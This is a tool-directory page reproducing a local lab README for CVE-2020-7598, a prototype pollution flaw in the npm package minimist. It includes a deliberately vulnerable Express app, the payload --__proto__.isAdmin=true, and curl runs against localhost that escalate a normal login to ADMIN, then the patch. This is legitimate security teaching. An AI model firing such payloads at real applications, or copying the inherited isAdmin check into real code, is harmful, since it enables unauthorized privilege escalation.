Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-7598 | Kitploit
Tools/GitHubGitHub/renewablehacking/cve-2020-7598
Static AnalysisVulnerability AnalysisCode AnalysisWeb Application ExploitationLearning & EducationLabs & Practice
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-7598 - Prototype Pollution in minimist

Disclaimer

This project is created only for:

  • learning,
  • security research,
  • and private local lab.

Do not use against systems without permission.


About CVE

CVE-2020-7598 is a Prototype Pollution vulnerability in the npm package:

  • minimist
  • vulnerable versions:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

This vulnerability allows an attacker to modify:

root@kitploit:~
Object.prototype

via payloads like:

root@kitploit:~
--__proto__.isAdmin=true

Consequently:

  • all JavaScript objects can inherit malicious properties,
  • auth bypass,
  • privilege escalation,
  • and even a chain leading to RCE under certain conditions.

How Prototype Pollution Works

In JavaScript:

root@kitploit:~
const user = {};

an empty object still inherits properties from:

root@kitploit:~
Object.prototype

If an attacker succeeds in:

root@kitploit:~
Object.prototype.isAdmin = true;

then:

root@kitploit:~
({}).isAdmin

will yield:

root@kitploit:~
true

for all ordinary objects.


Lab Environment

Dependencies

  • Node.js
  • Express
  • [email protected]

Installation

1. Clone Repository

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Install Dependencies

root@kitploit:~
npm install

OR manually:

root@kitploit:~
npm install express [email protected]

Source Code

Create a file:

root@kitploit:~
app.js

Contents:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Running the Server

root@kitploit:~
node app.js

Output:

root@kitploit:~
Server running on port 3000

Normal Testing

Normal Login

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Output:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Exploiting CVE-2020-7598

Prototype Pollution Payload

Open browser:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

OR use curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Exploit Result

Server terminal:

root@kitploit:~
GLOBAL isAdmin: true

Meaning:

root@kitploit:~
Object.prototype.isAdmin = true

was successfully modified.


Login After Exploit

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Output:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

Even though:

  • the database has not changed,
  • the source code has not changed,
  • the user does not have the isAdmin property.

Why Can You Become ADMIN?

The following code:

root@kitploit:~
if(user.isAdmin)

does not only check properties directly owned by the object.

JavaScript will look for:

  1. property owned by the object,
  2. then the prototype chain.

Because the attacker successfully modified:

root@kitploit:~
Object.prototype.isAdmin = true

so all ordinary objects inherit that property.


Evidence of Prototype Pollution

Server log:

root@kitploit:~
Own property: false
user.isAdmin: true

Meaning:

  • isAdmin is not an original property of the user,
  • but inherited from the global prototype.

Patch

Safe version of minimist:

root@kitploit:~
npm install minimist@latest

Patched versions block:

  • __proto__
  • constructor
  • prototype

so prototype pollution no longer succeeds.


References

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

Author

Lab and documentation were created for the purpose of learning Node.js application security and prototype pollution research.

Download Tool